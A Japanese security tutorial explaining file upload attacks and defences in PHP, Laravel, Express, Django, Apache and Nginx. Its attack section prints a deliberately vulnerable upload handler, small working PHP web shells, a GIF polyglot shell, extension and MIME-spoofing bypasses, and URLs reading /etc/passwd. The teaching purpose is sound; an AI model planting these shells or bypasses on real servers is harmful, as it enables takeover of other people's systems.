ファイルアップロード攻撃とは?
ファイルアップロード攻撃とは、Webアプリケーションのファイルアップロード機能の脆弱性を悪用して、サーバー上に悪意のあるファイルをアップロードする攻撃手法です。
この攻撃が成功すると、以下のような深刻な被害が発生する可能性があります:
- Webシェルの設置(サーバーの完全乗っ取り)
- マルウェアの拡散
- 機密情報の窃取
- サービスの改ざん・破壊
- 他システムへの踏み台攻撃
特に、プロフィール画像のアップロードや添付ファイル機能など、日常的に使われる機能が攻撃の入り口になりやすいため、多くのWebアプリケーションが標的になる可能性があります。
ファイルアップロード攻撃の仕組み
基本的な攻撃の流れ
以下のような脆弱なファイルアップロード処理があるとします:
<?php
// 危険なコード例(絶対に使わないでください)
$uploadDir = '/var/www/html/uploads/';
$uploadFile = $uploadDir . $_FILES['userfile']['name'];
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadFile)) {
echo "ファイルのアップロードが完了しました。";
echo "<a href='uploads/" . $_FILES['userfile']['name'] . "'>アップロードされたファイル</a>";
} else {
echo "アップロードに失敗しました。";
}
?>
攻撃者の悪用手法
この脆弱なコードでは、攻撃者は以下のような悪意のあるファイルをアップロードできてしまいます:
<?php
// malicious.php(攻撃者がアップロードする悪意のあるファイル)
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
アップロード後、攻撃者は以下のURLにアクセスすることで、サーバー上で任意のコマンドを実行できてしまいます:
https://example.com/uploads/malicious.php?cmd=ls -la

https://example.com/uploads/malicious.php?cmd=cat /etc/passwd
具体的な攻撃例
1. Webシェルによるサーバー乗っ取り
最も危険な攻撃パターンです。
<?php
// webshell.php - 高機能なWebシェルの例
echo "<h2>Web Shell</h2>";
echo "<form method='POST'>";
echo "<input type='text' name='cmd' placeholder='コマンドを入力' />";
echo "<input type='submit' value='実行' />";
echo "</form>";
if(isset($_POST['cmd'])) {
echo "<pre>";
echo shell_exec($_POST['cmd']);
echo "</pre>";
}
?>
2. 拡張子偽装攻撃
ファイル拡張子をチェックしている場合の迂回手法:
# 様々な拡張子偽装パターン
malicious.php.jpg # 二重拡張子
malicious.php%00.jpg # Nullバイト攻撃(古いシステム)
malicious.pHp # 大文字小文字の混在
malicious.php5 # 代替拡張子
malicious.phtml # Apache実行可能拡張子
3. MIMEタイプ偽装攻撃
Content-Typeヘッダーを偽装する手法:
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
4. ポリグロットファイル攻撃
画像ファイルとPHPコードの両方として機能するファイル:
GIF89a
<?php
// 画像ファイルとして認識されるが、PHPとしても実行可能
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
実際の被害事例
事例1:大手CMS の脆弱性(2023年)
某大手CMSで発見された脆弱性では、以下のような攻撃が可能でした:
- 管理画面に悪意のあるテーマファイル(ZIP)をアップロード
- ZIPファイル内にWebシェルが含まれている
- テーマのインストール時にWebシェルが自動的に展開
- 攻撃者がサーバーを完全に制御
この脆弱性により、数万のWebサイトが改ざんされる被害が発生しました。
事例2:ECサイトの顧客情報流出
あるECサイトでは、商品画像のアップロード機能に脆弱性があり:
- 攻撃者が画像ファイルに偽装したPHPファイルをアップロード
- アップロードされたファイルに直接アクセス
- 顧客データベースの情報を全て取得
- 約10万件の個人情報が流出
ファイルアップロード攻撃の対策方法
1. ファイル拡張子の厳格なチェック
ホワイトリスト方式で許可する拡張子を制限:
<?php
// 安全なコード例
function validateFileExtension($filename) {
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'docx'];
$fileExtension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
return in_array($fileExtension, $allowedExtensions);
}
if (isset($_FILES['userfile']) && $_FILES['userfile']['error'] === UPLOAD_ERR_OK) {
$filename = $_FILES['userfile']['name'];
if (!validateFileExtension($filename)) {
die("許可されていないファイル形式です");
}
// 以下、追加の検証処理...
}
?>
2. MIMEタイプの検証
ファイルの実際の内容を検証:
<?php
function validateMimeType($tmpName, $expectedTypes) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $tmpName);
finfo_close($finfo);
return in_array($mimeType, $expectedTypes);
}
$allowedMimeTypes = [
'image/jpeg',
'image/png',
'image/gif',
'application/pdf'
];
if (!validateMimeType($_FILES['userfile']['tmp_name'], $allowedMimeTypes)) {
die("無効なファイル形式です");
}
?>
3. ファイルサイズの制限
<?php
function validateFileSize($fileSize, $maxSize = 2097152) { // 2MB
return $fileSize <= $maxSize && $fileSize > 0;
}
if (!validateFileSize($_FILES['userfile']['size'])) {
die("ファイルサイズが制限を超えています");
}
?>
4. ファイル名のサニタイゼーション
<?php
function sanitizeFilename($filename) {
// 危険な文字を除去
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);
// 拡張子を再度検証
$extension = pathinfo($filename, PATHINFO_EXTENSION);
$basename = pathinfo($filename, PATHINFO_FILENAME);
// 一意なファイル名を生成
$safeFilename = uniqid() . '_' . $basename . '.' . $extension;
return $safeFilename;
}
?>
5. アップロードディレクトリの分離
<?php
// Webルートディレクトリ外にアップロード
$uploadDir = '/var/uploads/'; // Webからアクセスできない場所
// または、.htaccessでPHPの実行を禁止
/*
UploadディレクトリのHTMLディレクトリに.htaccessを設置:
<Files "*.php">
Order Deny,Allow
Deny from All
</Files>
<Files "*.phtml">
Order Deny,Allow
Deny from All
</Files>
*/
?>
6. 包括的なファイル検証
<?php
class SecureFileUpload {
private $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
private $allowedMimeTypes = ['image/jpeg', 'image/png', 'image/gif'];
private $maxFileSize = 2097152; // 2MB
private $uploadDir = '/var/secure_uploads/';
public function validateAndUpload($file) {
// 基本的なエラーチェック
if ($file['error'] !== UPLOAD_ERR_OK) {
throw new Exception('ファイルアップロードエラー');
}
// ファイルサイズチェック
if ($file['size'] > $this->maxFileSize || $file['size'] <= 0) {
throw new Exception('ファイルサイズが無効です');
}
// 拡張子チェック
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($extension, $this->allowedExtensions)) {
throw new Exception('許可されていないファイル形式です');
}
// MIMEタイプチェック
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (!in_array($mimeType, $this->allowedMimeTypes)) {
throw new Exception('ファイル内容が無効です');
}
// 画像の場合、追加検証
if (strpos($mimeType, 'image/') === 0) {
$imageInfo = getimagesize($file['tmp_name']);
if ($imageInfo === false) {
throw new Exception('無効な画像ファイルです');
}
}
// 安全なファイル名を生成
$safeFilename = $this->generateSafeFilename($file['name']);
$destination = $this->uploadDir . $safeFilename;
// ファイル移動
if (move_uploaded_file($file['tmp_name'], $destination)) {
return $safeFilename;
} else {
throw new Exception('ファイルの保存に失敗しました');
}
}
private function generateSafeFilename($originalName) {
$extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
return uniqid('upload_', true) . '.' . $extension;
}
}
?>
フレームワーク別の安全な実装
Laravel(PHP)
// Laravelでの安全な実装
public function uploadFile(Request $request)
{
$request->validate([
'file' => 'required|file|mimes:jpeg,png,gif|max:2048'
]);
$file = $request->file('file');
// ストレージに安全に保存
$path = $file->store('uploads', 'private');
return response()->json(['path' => $path]);
}
// ファイル取得(直接アクセスを防ぐ)
public function getFile($filename)
{
$path = storage_path('app/private/uploads/' . $filename);
if (!file_exists($path)) {
abort(404);
}
return response()->file($path);
}
Express.js(Node.js)
// Express.js + Multerでの安全な実装
const multer = require('multer');
const path = require('path');
const fs = require('fs');
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, '/var/secure_uploads/') // Webルート外
},
filename: function (req, file, cb) {
// 安全なファイル名を生成
const uniqueSuffix = Date.now() + '-' + Math.round(Math.random() * 1E9);
const extension = path.extname(file.originalname);
cb(null, 'upload-' + uniqueSuffix + extension);
}
});
const fileFilter = (req, file, cb) => {
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
if (allowedMimes.includes(file.mimetype)) {
cb(null, true);
} else {
cb(new Error('無効なファイル形式です'), false);
}
};
const upload = multer({
storage: storage,
limits: {
fileSize: 2 * 1024 * 1024 // 2MB
},
fileFilter: fileFilter
});
app.post('/upload', upload.single('file'), (req, res) => {
if (!req.file) {
return res.status(400).json({ error: 'ファイルが選択されていません' });
}
res.json({ message: 'アップロード成功', filename: req.file.filename });
});
Django(Python)
# Djangoでの安全な実装
from django.core.exceptions import ValidationError
from django.core.files.storage import default_storage
import magic
import os
def validate_file_extension(value):
allowed_extensions = ['.jpg', '.jpeg', '.png', '.gif']
ext = os.path.splitext(value.name)[1].lower()
if ext not in allowed_extensions:
raise ValidationError('許可されていないファイル形式です')
def validate_file_content(value):
# python-magicを使用してファイル内容を検証
mime = magic.from_buffer(value.read(1024), mime=True)
value.seek(0) # ファイルポインタをリセット
allowed_mimes = ['image/jpeg', 'image/png', 'image/gif']
if mime not in allowed_mimes:
raise ValidationError('無効なファイル内容です')
class UploadFileForm(forms.Form):
file = forms.FileField(
validators=[validate_file_extension, validate_file_content]
)
def upload_file(request):
if request.method == 'POST':
form = UploadFileForm(request.POST, request.FILES)
if form.is_valid():
uploaded_file = request.FILES['file']
# 安全なファイル名を生成
filename = default_storage.save(
f'secure_uploads/{uploaded_file.name}',
uploaded_file
)
return JsonResponse({'success': True, 'filename': filename})
return JsonResponse({'success': False})
セキュリティテストの実施
1. 手動テスト
# 様々なファイル形式でのテスト
test.php # 基本的なPHPファイル
test.php.jpg # 二重拡張子
test.pHp # 大文字小文字混在
test.php%00.jpg # Nullバイト
test.phtml # 代替拡張子
2. 自動化ツールでの検証
# Burp Suite でのファイルアップロードテスト
# OWASP ZAP でのファイルアップロード脆弱性検査
zap-cli quick-scan --spider http://example.com/upload
Webサーバーでの追加対策
Apache での設定
# .htaccess でのPHP実行禁止(アップロードディレクトリ)
<Files "*.php">
Order Deny,Allow
Deny from All
</Files>
<Files "*.phtml">
Order Deny,Allow
Deny from All
</Files>
<Files "*.php5">
Order Deny,Allow
Deny from All
</Files>
# 実行権限の削除
Options -ExecCGI
RemoveHandler .php .phtml .php5
Nginx での設定
# アップロードディレクトリでのPHP実行禁止
location ^~ /uploads/ {
location ~ \.php$ {
deny all;
return 403;
}
}
# ファイルサイズ制限
client_max_body_size 2M;
まとめ
ファイルアップロード攻撃は、適切な対策により確実に防ぐことができる脆弱性です。
重要なポイント:
- ホワイトリスト方式でファイル形式を厳格に制限
- MIMEタイプとファイル内容の両方を検証
- アップロードディレクトリを分離し、実行権限を削除
- ファイル名のサニタイゼーションを実施
- ファイルサイズの制限を設ける
- 定期的なセキュリティテストを実施
特に重要なのは、ファイル拡張子だけに頼らないことです。攻撃者は様々な手法で拡張子チェックを回避しようとするため、多層防御の考え方が不可欠です。
ファイルアップロード機能は利便性が高い反面、適切に実装しないと深刻なセキュリティリスクになります。この記事で紹介した対策を参考に、安全なファイルアップロード機能を実装してください。
コメント